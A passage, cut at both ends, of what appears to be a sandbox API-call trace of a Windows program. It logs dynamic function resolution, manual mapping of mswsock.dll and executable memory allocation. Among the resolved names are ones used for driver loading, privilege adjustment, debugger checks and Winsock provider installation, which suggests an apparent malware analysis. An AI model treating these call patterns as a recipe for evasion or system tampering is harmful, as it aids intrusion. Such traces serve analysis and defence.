GetProcAddress (hModule=0x77480000, lpProcName="SetNamedPipeHandleState") returned 0x77487af3 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="CreateNamedPipeW") returned 0x77487e34 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="TransactNamedPipe") returned 0x77487bcc [0098.193] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Misc-L1-1-0.dll") returned 0x77480000 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="IsWow64Process") returned 0x7748e4c0 [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="LCMapStringA") returned 0x774a09be [0098.193] GetProcAddress (hModule=0x77480000, lpProcName="LocalLock") returned 0x7749433d [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="LocalReAlloc") returned 0x77494a9b [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="LocalUnlock") returned 0x77494439 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="GlobalAlloc") returned 0x77493fa7 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="FormatMessageW") returned 0x77493e37 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="FormatMessageA") returned 0x77493c49 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="NeedCurrentDirectoryForExePathA") returned 0x7748eb4f [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="EnumSystemLocalesA") returned 0x774a099f [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="PulseEvent") returned 0x7749018f [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="Sleep") returned 0x77493511 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7748c6c7 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7748c6f1 [0098.194] GetProcAddress (hModule=0x77480000, lpProcName="lstrcmpW") returned 0x7748a389 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="lstrcmpiW") returned 0x7748a415 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="lstrcpynA") returned 0x7748a2b0 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="lstrcpynW") returned 0x7748a47c [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="lstrlenA") returned 0x7748a330 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="FatalAppExitA") returned 0x7748ed99 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="NeedCurrentDirectoryForExePathW") returned 0x7748eb77 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="FatalAppExitW") returned 0x7748e604 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="LocalAlloc") returned 0x774948f9 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="GlobalFree") returned 0x77493e61 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="lstrlenW") returned 0x7748a505 [0098.195] GetProcAddress (hModule=0x77480000, lpProcName="LocalFree") returned 0x77493e61 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="IsProcessInJob") returned 0x7749b7c0 [0098.196] GetModuleHandleA (lpModuleName="API-MS-Win-Core-SysInfo-L1-1-0.dll") returned 0x77480000 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetLocalTime") returned 0x77488b39 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTimeAdjustment") returned 0x77488957 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTimeAsFileTime") returned 0x77488c67 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount64") returned 0x77488ccf [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetTimeZoneInformation") returned 0x77489730 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetTimeZoneInformationForYear") returned 0x77489c18 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetVersion") returned 0x774911fc [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetVersionExA") returned 0x77491f41 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetVersionExW") returned 0x77491232 [0098.196] GetProcAddress (hModule=0x77480000, lpProcName="GetWindowsDirectoryW") returned 0x77495c59 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="SetLocalTime") returned 0x774891f3 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="SystemTimeToTzSpecificLocalTime") returned 0x77489c36 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="TzSpecificLocalTimeToSystemTime") returned 0x77489f2c [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetDynamicTimeZoneInformation") returned 0x774897de [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetLogicalProcessorInformation") returned 0x7748e386 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemInfo") returned 0x7748e6b2 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetLogicalProcessorInformationEx") returned 0x7748e3e0 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetWindowsDirectoryA") returned 0x77495c2d [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GlobalMemoryStatusEx") returned 0x77494160 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount") returned 0x77488c96 [0098.197] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTime") returned 0x77488be7 [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="SystemTimeToFileTime") returned 0x7748868f [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="GetComputerNameExW") returned 0x77497d17 [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="GetComputerNameExA") returned 0x77498197 [0098.198] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Localization-L1-1-0.dll") returned 0x77480000 [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="VerLanguageNameA") returned 0x774a361a [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="FindNLSStringEx") returned 0x774b59a5 [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="SetThreadLocale") returned 0x774a341f [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="NlsWriteEtwEvent") returned 0x774b2bea [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="NlsEventDataDescCreate") returned 0x774b2a9d [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="ConvertDefaultLocale") returned 0x774a33fb [0098.198] GetProcAddress (hModule=0x77480000, lpProcName="VerLanguageNameW") returned 0x774a353b [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="SetLocaleInfoW") returned 0x774a68f1 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="SetCalendarInfoW") returned 0x774a36ff [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="LCMapStringW") returned 0x774a1e6a [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="IsValidLocale") returned 0x774a3168 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="IsValidLanguageGroup") returned 0x774a25e2 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="IsValidCodePage") returned 0x774aecc1 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="IsNLSDefinedString") returned 0x774b5a04 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="GetUserDefaultLCID") returned 0x774a270c [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="GetUserDefaultLangID") returned 0x774a3459 [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadLocale") returned 0x774a26bf [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDefaultLCID") returned 0x774a26ef [0098.199] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDefaultLangID") returned 0x774a26d1 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetProcessPreferredUILanguages") returned 0x774b1811 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetOEMCP") returned 0x774ada56 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetLocaleInfoW") returned 0x774a7304 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetCPInfoExW") returned 0x774aee5f [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetCPInfo") returned 0x774aedba [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetACP") returned 0x774ada4b [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="GetFileMUIPath") returned 0x774b172c [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="FindNLSString") returned 0x774a1f19 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="NlsUpdateSystemLocale") returned 0x774a7669 [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="NlsUpdateLocale") returned 0x774a771c [0098.200] GetProcAddress (hModule=0x77480000, lpProcName="NlsGetCacheUpdateCount") returned 0x7749ffc6 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="NlsCheckPolicy") returned 0x774a24a2 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetCalendarInfoW") returned 0x774a7264 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetCalendarInfoEx") returned 0x774a72b4 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetLocaleInfoEx") returned 0x774a734d [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemPreferredUILanguages") returned 0x774b18b4 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadPreferredUILanguages") returned 0x774b17d8 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetThreadUILanguage") returned 0x774b1946 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetUILanguageInfo") returned 0x774b1770 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="GetUserPreferredUILanguages") returned 0x774b18fd [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="IsValidLocaleName") returned 0x774a2d72 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="LCMapStringEx") returned 0x774ad8a6 [0098.201] GetProcAddress (hModule=0x77480000, lpProcName="LocaleNameToLCID") returned 0x774a393a [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="ResolveLocaleName") returned 0x774a3b6c [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="GetFileMUIInfo") returned 0x774b126b [0098.202] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll") returned 0x77480000 [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentStrings") returned 0x7748fb3b [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentVariableW") returned 0x7748f9d7 [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="SearchPathW") returned 0x77494e2b [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="SetStdHandleEx") returned 0x7748ba2c [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsA") returned 0x7748fe42 [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="ExpandEnvironmentStringsW") returned 0x7748faac [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="FreeEnvironmentStringsA") returned 0x7748fb13 [0098.202] GetProcAddress (hModule=0x77480000, lpProcName="FreeEnvironmentStringsW") returned 0x7748fb13 [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetCommandLineA") returned 0x7748e65e [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetCommandLineW") returned 0x7748e669 [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentDirectoryA") returned 0x7749a16b [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetCurrentDirectoryW") returned 0x77499ec4 [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentStringsW") returned 0x7748fc19 [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="SetEnvironmentStringsW") returned 0x7748f86a [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentVariableA") returned 0x7748fcad [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="GetStdHandle") returned 0x7748b92a [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="SetCurrentDirectoryA") returned 0x77499ee3 [0098.203] GetProcAddress (hModule=0x77480000, lpProcName="SetCurrentDirectoryW") returned 0x77499f76 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="SetEnvironmentVariableA") returned 0x7748f904 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="SetEnvironmentVariableW") returned 0x7748fa47 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="SetStdHandle") returned 0x7748b9c1 [0098.204] GetModuleHandleA (lpModuleName="API-MS-Win-Core-String-L1-1-0.dll") returned 0x77480000 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="GetStringTypeW") returned 0x774a0c7a [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="GetStringTypeExW") returned 0x774a175d [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="FoldStringW") returned 0x774ad382 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringW") returned 0x774a1ed8 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="WideCharToMultiByte") returned 0x774afa07 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringOrdinal") returned 0x774a1e03 [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringEx") returned 0x774b594a [0098.204] GetProcAddress (hModule=0x77480000, lpProcName="MultiByteToWideChar") returned 0x774af308 [0098.205] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Debug-L1-1-0.dll") returned 0x77480000 [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="DebugBreak") returned 0x7749229f [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="OutputDebugStringA") returned 0x77492510 [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="OutputDebugStringW") returned 0x77492817 [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="IsDebuggerPresent") returned 0x77492804 [0098.205] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ErrorHandling-L1-1-0.dll") returned 0x76300000 [0098.205] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.205] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.205] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="GetLastError") returned 0x77487829 [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="GetErrorMode") returned 0x7748749b [0098.205] GetProcAddress (hModule=0x77480000, lpProcName="RaiseException") returned 0x7748b6cf [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="SetErrorMode") returned 0x774874d7 [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="SetLastError") returned 0x77e522ef [0098.206] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Fibers-L1-1-0.dll") returned 0x77480000 [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="FlsAlloc") returned 0x77492dee [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="FlsFree") returned 0x77492eb3 [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="FlsGetValue") returned 0x77492e1a [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="FlsSetValue") returned 0x77492e59 [0098.206] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Util-L1-1-0.dll") returned 0x76300000 [0098.206] PathFindFileNameA (pszPath="C:\\Windows\\syswow64\\kernel32.dll") returned="kernel32.dll" [0098.206] _strcmpi (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0098.206] GetModuleHandleA (lpModuleName="kernelbase") returned 0x77480000 [0098.206] GetProcAddress (hModule=0x77480000, lpProcName="Beep") returned 0x7748854b [0098.206] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Profile-L1-1-0.dll") returned 0x77480000 [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="QueryPerformanceFrequency") returned 0x77e6882c [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="QueryPerformanceCounter") returned 0x77e68884 [0098.207] GetModuleHandleA (lpModuleName="API-MS-Win-Security-Base-L1-1-0.dll") returned 0x77480000 [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="AllocateAndInitializeSid") returned 0x7749c06c [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="FreeSid") returned 0x7749c05b [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="DuplicateToken") returned 0x7749d749 [0098.207] GetProcAddress (hModule=0x77480000, lpProcName="AccessCheck") returned 0x7749b8c8 [0098.207] UnmapViewOfFile (lpBaseAddress=0x1020000) returned 1 [0098.211] CloseHandle (hObject=0x138) returned 1 [0098.211] CloseHandle (hObject=0x134) returned 1 [0098.223] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x10f0000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.225] GetModuleHandleA (lpModuleName="mswsock") returned 0x0 [0098.225] LoadLibraryA (lpLibFileName="mswsock") returned 0x75740000 [0098.230] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.327] GetModuleFileNameA (in: hModule=0x75740000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\mswsock.DLL") returned 0x1f [0098.327] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\mswsock.DLL" (normalized: "c:\\windows\\syswow64\\mswsock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0098.327] CreateFileMappingA (hFile=0x134, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x138 [0098.327] MapViewOfFile (hFileMappingObject=0x138, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x800000 [0098.331] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x8b0000, RegionSize=0x101f5e4*=0x3c000) returned 0x0 [0098.338] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004054000 [0098.338] IdePortDispatch () returned 0x103 [0098.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041cd000 [0098.339] IdePortDispatch () returned 0x103 [0098.413] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003422000 [0098.413] IdePortDispatch () returned 0x103 [0098.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0098.414] IdePortDispatch () returned 0x103 [0098.416] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x75fc0000 [0098.416] GetProcAddress (hModule=0x75fc0000, lpProcName="free") returned 0x75fc9894 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="_strnicmp") returned 0x75fd0578 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="wcscat_s") returned 0x75fcfd66 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="wcsncpy_s") returned 0x75fcc24b [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="malloc") returned 0x75fc9cee [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="memset") returned 0x75fc9790 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="memcpy") returned 0x75fc9910 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="memmove") returned 0x75fc9e5a [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="_stricmp") returned 0x75fcdb38 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsicmp") returned 0x75fca9e9 [0098.417] GetProcAddress (hModule=0x75fc0000, lpProcName="atoi") returned 0x75fcdbe0 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="isdigit") returned 0x75fcb407 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="wcschr") returned 0x75fcaa61 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="rewind") returned 0x75fe6e17 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="fclose") returned 0x75fd3d79 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="fgets") returned 0x75fe4589 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="fopen") returned 0x75fdb2c4 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="strlen") returned 0x75fd43d3 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="wcslen") returned 0x75fdd335 [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnwprintf") returned 0x75fcbbce [0098.418] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsnicmp") returned 0x75fcaae3 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="fprintf") returned 0x75fd3e00 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="_iob") returned 0x76062900 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="wcstol") returned 0x75fcff45 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="_XcptFilter") returned 0x75fedc75 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="_initterm") returned 0x75fcc151 [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="strtoul") returned 0x75fd012e [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="_amsg_exit") returned 0x7602b2ef [0098.419] GetProcAddress (hModule=0x75fc0000, lpProcName="_except_handler4_common") returned 0x75fe3e27 [0098.419] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77e30000 [0098.419] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeHeap") returned 0x77e5df85 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateEvent") returned 0x77e4ff64 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationFile") returned 0x77e4fc28 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtClose") returned 0x77e4f9d0 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtRemoveIoCompletion") returned 0x77e4f934 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetIoCompletion") returned 0x77e51af4 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeviceIoControlFile") returned 0x77e4f8fc [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeCriticalSectionAndSpinCount") returned 0x77e625e8 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenKey") returned 0x77e4fa18 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitUnicodeString") returned 0x77e5e208 [0098.420] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRegisterSecureMemoryCacheCallback") returned 0x77ef2d5d [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeUnicodeString") returned 0x77e5e126 [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="RtlStringFromGUID") returned 0x77e78610 [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetNtProductType") returned 0x77e68802 [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateHeap") returned 0x77e5e026 [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="NtCancelIoFile") returned 0x77e5016c [0098.421] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteCriticalSection") returned 0x77e645f5 [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetEvent") returned 0x77e4f9b4 [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRaiseStatus") returned 0x77e76ea5 [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="NtWaitForSingleObject") returned 0x77e4f8ac [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="NtDelayExecution") returned 0x77e4fd6c [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationThread") returned 0x77e4f99c [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="NtLoadDriver") returned 0x77e50de4 [0098.422] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAdjustPrivilege") returned 0x77ee1f40 [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImpersonateSelf") returned 0x77ea242f [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySystemTime") returned 0x77e5011c [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationObject") returned 0x77e50154 [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateIoCompletion") returned 0x77e506fc [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateFile") returned 0x77e500a4 [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtAlertThread") returned 0x77e502f4 [0098.423] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueueApcThread") returned 0x77e4ff14 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="NtClearEvent") returned 0x77e4fe64 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNtStatusToDosError") returned 0x77e661ed [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="NtReadFile") returned 0x77e4f8e0 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="NtWaitForMultipleObjects") returned 0x77e50138 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="ShipAssert") returned 0x77ed8b96 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryEvent") returned 0x77e500bc [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationFile") returned 0x77e4fa00 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77e66ac8 [0098.424] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77e5e6b5 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitAnsiString") returned 0x77e5e1d0 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeAnsiString") returned 0x77e5e126 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyHeap") returned 0x77e79d8e [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateHeap") returned 0x77e70249 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="WinSqmIsOptedIn") returned 0x77e89b58 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressA") returned 0x77e7c855 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressW") returned 0x77e7ba09 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressA") returned 0x77e7c411 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressW") returned 0x77e7b900 [0098.425] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressExA") returned 0x77ef3d45 [0098.426] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressExW") returned 0x77e7b9ae [0098.426] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitString") returned 0x77e5e198 [0098.426] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryValueKey") returned 0x77e4fa98 [0098.426] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryRegistryValues") returned 0x77ea4b60 [0098.426] GetModuleHandleA (lpModuleName="user32.dll") returned 0x75a80000 [0098.426] GetProcAddress (hModule=0x75a80000, lpProcName="IsWindow") returned 0x75a97136 [0098.426] GetModuleHandleA (lpModuleName="RPCRT4.dll") returned 0x76510000 [0098.426] GetProcAddress (hModule=0x76510000, lpProcName="UuidFromStringW") returned 0x7658fd6e [0098.427] GetProcAddress (hModule=0x76510000, lpProcName="UuidToStringW") returned 0x76551ee5 [0098.427] GetProcAddress (hModule=0x76510000, lpProcName="UuidCreate") returned 0x7652f48b [0098.427] GetProcAddress (hModule=0x76510000, lpProcName="RpcStringFreeW") returned 0x76531635 [0098.427] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x774d0000 [0098.427] GetProcAddress (hModule=0x774d0000, lpProcName="WSCDeinstallProvider") returned 0x774ed775 [0098.427] GetProcAddress (hModule=0x774d0000, lpProcName="WSCInstallProvider") returned 0x774ed751 [0098.427] GetProcAddress (hModule=0x774d0000, lpProcName=0xb) returned 0x774d311b [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName=0x39) returned 0x774da05b [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName="WSARecv") returned 0x774d7089 [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName="WahDestroyHandleContextTable") returned 0x774df268 [0098.428] GetProcAddress (hModule=0x774d0000, lpProcName=0x72) returned 0x774e53be [0098.428] GetProcAddress 